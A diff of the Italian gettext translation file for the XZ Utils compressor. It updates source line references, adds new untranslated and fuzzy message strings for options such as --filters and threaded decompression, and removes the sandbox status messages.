src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Il numero massimo di filtri è quattro" -#: src/xz/coder.c:129 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Il limite dell'uso della memoria è troppo basso per l'impostazione del filtro dato." -#: src/xz/coder.c:159 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Non è consigliato usare un preset nella modalità raw." -#: src/xz/coder.c:161 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Le opzioni esatte per i preset possono variare tra le versioni del software." -#: src/xz/coder.c:184 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "Il formato .lzma supporta solo il filtro LZMA1" -#: src/xz/coder.c:192 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 non può essere usato con il formato .xz" -#: src/xz/coder.c:209 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "La catena di filtri non è compatibile con --flush-timeout" -#: src/xz/coder.c:215 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Passaggio a modalità singolo thread poiché viene usato --flush-timeout" -#: src/xz/coder.c:235 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Opzioni non supportate" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Vengono usati circa % thread." -#: src/xz/coder.c:251 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Catena di filtri od opzioni del filtro non supportata" -#: src/xz/coder.c:263 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "L'estrazione necessita di %s MiB di memoria." -#: src/xz/coder.c:300 +#: src/xz/coder.c:584 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "Regolato il numero di thread da %s a %s per non eccedere il limite di utilizzo della memoria di %s MiB" + +#: src/xz/coder.c:604 #, c-format -msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." +msgstr "" + +#: src/xz/coder.c:631 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Regolato il numero di thread da %s a %s per non eccedere il limite di utilizzo della memoria di %s MiB" -#: src/xz/coder.c:354 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Regolata la dimensione del dizionario LZMA%c da %s MiB a %s MiB per non superare il limite dell'uso della memoria di %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Regolata la dimensione del dizionario LZMA%c da %s MiB a %s MiB per non superare il limite dell'uso della memoria di %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Errore nel creare una pipe: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Errore nel creare una pipe: %s" -#: src/xz/file_io.c:173 -msgid "Sandbox is disabled due to incompatible command line arguments" -msgstr "La modalità sandbox è disabilitata a causa di argomenti a riga di comando non compatibili" - -#: src/xz/file_io.c:216 -msgid "Sandbox was successfully enabled" -msgstr "Sandbox abilitata con successo" - -#: src/xz/file_io.c:220 -msgid "Failed to enable the sandbox" -msgstr "Abilitazione modalità sandbox non riuscita" - -#: src/xz/file_io.c:262 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() non riuscita: %s" @@ -150,195 +214,341 @@ msgstr "%s: poll() non riuscita: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:332 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: sembra che il file sia stato spostato, non viene rimosso" -#: src/xz/file_io.c:339 src/xz/file_io.c:878 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: impossibile rimuovere: %s" -#: src/xz/file_io.c:364 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: impossibile impostare il proprietario del file: %s" -#: src/xz/file_io.c:370 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: impossibile impostare il gruppo del file: %s" -#: src/xz/file_io.c:389 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: impossibile impostare i permessi del file: %s" -#: src/xz/file_io.c:515 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Errore nel recuperare le flag di stato del file dallo standard input: %s" -#: src/xz/file_io.c:572 src/xz/file_io.c:634 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: è un collegamento simbolico, viene saltato" -#: src/xz/file_io.c:663 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: è una directory, viene saltata" -#: src/xz/file_io.c:669 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: non è un file regolare, viene saltato" -#: src/xz/file_io.c:686 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: il file ha il bit setuid o setgid impostato, viene saltato" -#: src/xz/file_io.c:693 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: il file ha lo sticky bit impostato, viene saltato" -#: src/xz/file_io.c:700 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: il file di input ha più di un collegamento fisico, viene saltato" -#: src/xz/file_io.c:788 +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "Nome file vuoto, viene saltato" + +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Errore nel ripristinare le flag di stato sullo standard input: %s" -#: src/xz/file_io.c:836 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Errore nel recuperare le flag di stato del file dallo standard output: %s" -#: src/xz/file_io.c:1014 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Errore nel ripristinare la flag O_APPEND sullo standard output: %s" -#: src/xz/file_io.c:1026 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: chiusura del file non riuscita: %s" -#: src/xz/file_io.c:1062 src/xz/file_io.c:1288 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: posizionamento non riuscito nel tentativo di creare un file sparso: %s" -#: src/xz/file_io.c:1157 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: errore di lettura: %s" -#: src/xz/file_io.c:1177 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: errore nel cercare il file: %s" -#: src/xz/file_io.c:1187 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: fine del file inaspettata" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: errore di scrittura: %s" -#: src/xz/hardware.c:107 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Disabilitato" -#. TRANSLATORS: Test with "xz --info-memory" to see if -#. the alignment looks nice. -#: src/xz/hardware.c:126 -msgid "Total amount of physical memory (RAM): " +#: src/xz/hardware.c:268 +#, fuzzy +#| msgid "Total amount of physical memory (RAM): " +msgid "Amount of physical memory (RAM):" msgstr "Quantità totale di memoria fisica (RAM): " -#: src/xz/hardware.c:128 -msgid "Memory usage limit for compression: " -msgstr "Limite utilizzo memoria per la compressione: " +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" -#: src/xz/hardware.c:130 -msgid "Memory usage limit for decompression: " +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" + +#: src/xz/hardware.c:272 +#, fuzzy +#| msgid "Memory usage limit for decompression: " +msgid "Multi-threaded decompression:" msgstr "Limite utilizzo memoria per l'estrazione: " +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +#, fuzzy +#| msgid "Memory usage limit reached" +msgid "Memory usage limits:" +msgstr "Limite di utilizzo della memoria raggiunto" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +#, fuzzy +#| msgid " Compressed size: %s\n" +msgid "Compressed size:" +msgstr " Dim. compresso: %s\n" + +#: src/xz/list.c:70 +#, fuzzy +#| msgid " Uncompressed size: %s\n" +msgid "Uncompressed size:" +msgstr " Dim. estratto: %s\n" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +#, fuzzy +#| msgid " Stream padding: %s\n" +msgid "Stream Padding:" +msgstr " Padding dello stream: %s\n" + +#: src/xz/list.c:74 +#, fuzzy +#| msgid " Memory needed: %s MiB\n" +msgid "Memory needed:" +msgstr " Memoria necessaria: %s MiB\n" + +#: src/xz/list.c:75 +#, fuzzy +#| msgid " Sizes in headers: %s\n" +msgid "Sizes in headers:" +msgstr " Dim. negli header: %s\n" + +#: src/xz/list.c:78 +#, fuzzy +#| msgid " Number of files: %s\n" +msgid "Number of files:" +msgstr " Numero di file: %s\n" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +#, fuzzy +#| msgid "Totals:" +msgid "TotalSize" +msgstr "Totali:" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + #. TRANSLATORS: Indicates that there is no integrity check. -#. This string is used in tables, so the width must not -#. exceed ten columns with a fixed-width font. -#: src/xz/list.c:65 +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 msgid "None" msgstr "Nessuno" #. TRANSLATORS: Indicates that integrity check name is not known, -#. but the Check ID is known (here 2). This and other "Unknown-N" -#. strings are used in tables, so the width must not exceed ten -#. columns with a fixed-width font. It's OK to omit the dash if -#. you need space for one extra letter, but don't use spaces. -#: src/xz/list.c:72 +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Sconosc2" -#: src/xz/list.c:73 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Sconosc3" -#: src/xz/list.c:75 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Sconosc5" -#: src/xz/list.c:76 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Sconosc6" -#: src/xz/list.c:77 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Sconosc7" -#: src/xz/list.c:78 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Sconosc8" -#: src/xz/list.c:79 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "Sconosc9" -#: src/xz/list.c:81 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Sconosc11" -#: src/xz/list.c:82 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Sconosc12" -#: src/xz/list.c:83 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Sconosc13" -#: src/xz/list.c:84 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Sconosc14" -#: src/xz/list.c:85 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Sconosc15" -#: src/xz/list.c:153 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: il file è vuoto" -#: src/xz/list.c:158 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: troppo piccolo per essere un file .xz valido" @@ -347,125 +557,45 @@ msgstr "%s: troppo piccolo per essere un file .xz valido" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:677 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr " Strm Blocc. Compresso Estratto Rapp. Contr Nome file" -#: src/xz/list.c:717 -#, c-format -msgid " Streams: %s\n" -msgstr " Stream: %s\n" - -#: src/xz/list.c:719 -#, c-format -msgid " Blocks: %s\n" -msgstr " Blocchi: %s\n" - -#: src/xz/list.c:721 -#, c-format -msgid " Compressed size: %s\n" -msgstr " Dim. compresso: %s\n" - -#: src/xz/list.c:724 -#, c-format -msgid " Uncompressed size: %s\n" -msgstr " Dim. estratto: %s\n" - -#: src/xz/list.c:727 -#, c-format -msgid " Ratio: %s\n" -msgstr " Rapporto: %s\n" - -#: src/xz/list.c:729 -#, c-format -msgid " Check: %s\n" -msgstr " Controllo: %s\n" - -#: src/xz/list.c:730 -#, c-format -msgid " Stream padding: %s\n" -msgstr " Padding dello stream: %s\n" - -#. TRANSLATORS: The second line is column headings. All except -#. Check are right aligned; Check is left aligned. Test with -#. "xz -lv foo.xz". -#: src/xz/list.c:758 -msgid "" -" Streams:\n" -" Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" -msgstr "" -"Stream:\n" -" Stream Blocc. Offset comp. Offset estr. Dim. comp. Dim. estratto Rapp. Contr Padding" - -#. TRANSLATORS: The second line is column headings. All -#. except Check are right aligned; Check is left aligned. -#: src/xz/list.c:813 -#, c-format -msgid "" -" Blocks:\n" -" Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" -msgstr "" -" Blocchi:\n" -" Stream Blocc. Offset comp. Offset estratto Dim. tot. Dim. estratto Rapp. Contr" - -#. TRANSLATORS: These are additional column headings -#. for the most verbose listing mode. CheckVal -#. (Check value), Flags, and Filters are left aligned. -#. Header (Block Header Size), CompSize, and MemUsage -#. are right aligned. %*s is replaced with 0-120 -#. spaces to make the CheckVal column wide enough. -#. Test with "xz -lvv foo.xz". -#: src/xz/list.c:825 -#, c-format -msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" -msgstr " Val.cont %*s Header Flag Dim.compr. Uso mem. Filtri" - -#: src/xz/list.c:903 src/xz/list.c:1078 -#, c-format -msgid " Memory needed: %s MiB\n" -msgstr " Memoria necessaria: %s MiB\n" - -#: src/xz/list.c:905 src/xz/list.c:1080 -#, c-format -msgid " Sizes in headers: %s\n" -msgstr " Dim. negli header: %s\n" - -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Sì" -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "No" -#: src/xz/list.c:907 src/xz/list.c:1082 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Versione \"XZ Utils\" minima: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1057 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s file\n" msgstr[1] "%s file\n" -#: src/xz/list.c:1070 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Totali:" -#: src/xz/list.c:1071 -#, c-format -msgid " Number of files: %s\n" -msgstr " Numero di file: %s\n" - -#: src/xz/list.c:1146 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list funziona solamente con file .xz (--format=xz o --format=auto)" -#: src/xz/list.c:1152 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list non è in grado di leggere dallo standard input" @@ -480,15 +610,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: fine dell'input durante la lettura dei nomi dei file non attesa" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: nessun carattere trovato durante la lettura dei nomi dei file; forse si intendeva usare \"--files0\" invece di \"--files\"?" -#: src/xz/main.c:174 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "La compressione e l'estrazione con --robot non sono ancora supportate." -#: src/xz/main.c:252 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Impossibile leggere i dati dallo standard input durante la lettura dei nomi dei file dallo standard input" @@ -496,68 +627,69 @@ msgstr "Impossibile leggere i dati dallo standard input durante la lettura dei n #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:714 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:777 src/xz/message.c:827 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Errore interno (bug)" -#: src/xz/message.c:784 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Impossibile stabilire i gestori dei segnali" -#: src/xz/message.c:793 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Nessun controllo d'integrità; l'integrità del file non viene verificata" -#: src/xz/message.c:796 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Tipo di controllo di integrità non supportato; l'integrità del file non viene verificata" -#: src/xz/message.c:803 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Limite di utilizzo della memoria raggiunto" -#: src/xz/message.c:806 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Formato di file non riconosciuto" -#: src/xz/message.c:809 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opzioni non supportate" -#: src/xz/message.c:812 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "I dati compressi sono danneggiati" -#: src/xz/message.c:815 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Fine dell'input non attesa" -#: src/xz/message.c:848 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB di memoria sono richiesti. Il limite è disabilitato." -#: src/xz/message.c:876 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB di memoria sono richiesti. Il limite è %s." -#: src/xz/message.c:1043 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: catena di filtri: %s\n" -#: src/xz/message.c:1053 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Provare \"%s --help\" per maggiori informazioni." -#: src/xz/message.c:1079 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -568,15 +700,15 @@ msgstr "" "Comprime o estrae i FILE nel formato .xz.\n" "\n" -#: src/xz/message.c:1086 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Gli argomenti obbligatori per le opzioni lunghe lo sono anche per quelle brevi.\n" -#: src/xz/message.c:1090 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Modalità di operazione:\n" -#: src/xz/message.c:1093 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -588,7 +720,7 @@ msgstr "" " -t, --test Verifica l'integrità dei file compressi\n" " -l, --list Elenca informazioni sui file .xz" -#: src/xz/message.c:1099 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -596,7 +728,7 @@ msgstr "" "\n" " Modificatori di operazioni:\n" -#: src/xz/message.c:1102 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -607,7 +739,7 @@ msgstr "" " collegamenti\n" " -c, --stdout Scrive sullo standard output e non elimina i file di input" -#: src/xz/message.c:1108 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -615,10 +747,18 @@ msgstr "" " --single-stream Decomprime solamente il primo stream e ignora\n" " silenziosamente i restanti dati di input" -#: src/xz/message.c:1111 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -632,7 +772,7 @@ msgstr "" " di newline\n" " --files0=[FILE] Come --files ma usa il carattere null come terminatore" -#: src/xz/message.c:1120 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -640,23 +780,29 @@ msgstr "" "\n" " Formato file di base e opzioni di compressione:\n" -#: src/xz/message.c:1122 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FMT Formato file per codificare o decodificare; i possibili\n" " valori sono \"auto\" (predefinito) \"xz\", \"lzma\" e \"raw\"\n" " -C, --check=CHECK Tipo di verifica integrità: \"none\" (usare con attenzione),\n" " \"crc32\", \"crc64\" (predefinito) o \"sha256\"" -#: src/xz/message.c:1127 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check Non verifica il codice di integrità quando decomprime" -#: src/xz/message.c:1131 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -665,7 +811,7 @@ msgstr "" " l'utilizzo di memoria per comprimere ed estrarre prima\n" " di usare 7-9" -#: src/xz/message.c:1135 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -674,16 +820,20 @@ msgstr "" " utilizzando più tempo di CPU; non cambia i requisiti di\n" " memoria in fase di estrazione" -#: src/xz/message.c:1139 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NUM Usa al massimo NUM thread: il valore predefinito è 1,\n" " impostare a 0 per usare tanti thread quanti core la CPU\n" " ha a disposizione" -#: src/xz/message.c:1144 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -694,17 +844,24 @@ msgstr "" " usare per impostare la dimensione del blocco durante la\n" " compressione con thread" -#: src/xz/message.c:1148 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=DIM\n" " Avvia un nuovo blocco .xz dopo gli intervalli, sperati\n" " da virgole, di dati non compressi" -#: src/xz/message.c:1152 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -717,14 +874,22 @@ msgstr "" " ulteriore input risulterebbe bloccata, viene eseguito il\n" " flush di tutti i dati pendenti" -#: src/xz/message.c:1158 -#, no-c-format +#: src/xz/message.c:1026 +#, fuzzy, no-c-format +#| msgid "" +#| " --memlimit-compress=LIMIT\n" +#| " --memlimit-decompress=LIMIT\n" +#| " -M, --memlimit=LIMIT\n" +#| " set memory usage limit for compression, decompression,\n" +#| " or both; LIMIT is in bytes, % of RAM, or 0 for defaults" msgid "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" " -M, --memlimit=LIMIT\n" " set memory usage limit for compression, decompression,\n" -" or both; LIMIT is in bytes, % of RAM, or 0 for defaults" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" msgstr "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" @@ -733,7 +898,7 @@ msgstr "" " compressione, l'estrazione o entrambe; LIMIT è in byte,\n" " % della memoria RAM oppure 0 per il valore predefinito" -#: src/xz/message.c:1165 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -742,7 +907,7 @@ msgstr "" " utilizzo della memoria, lancia un errore invece di\n" " utilizzare valori più piccoli" -#: src/xz/message.c:1171 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -751,7 +916,27 @@ msgstr "" " Catena di filtri personalizzati per la compressione (alternative per\n" " l'utilizzo di preset):" -#: src/xz/message.c:1180 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -784,15 +969,28 @@ msgstr "" " depth=NUM Profondità massima di ricerca; 0=automatica\n" " (predefinito)" -#: src/xz/message.c:1195 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " 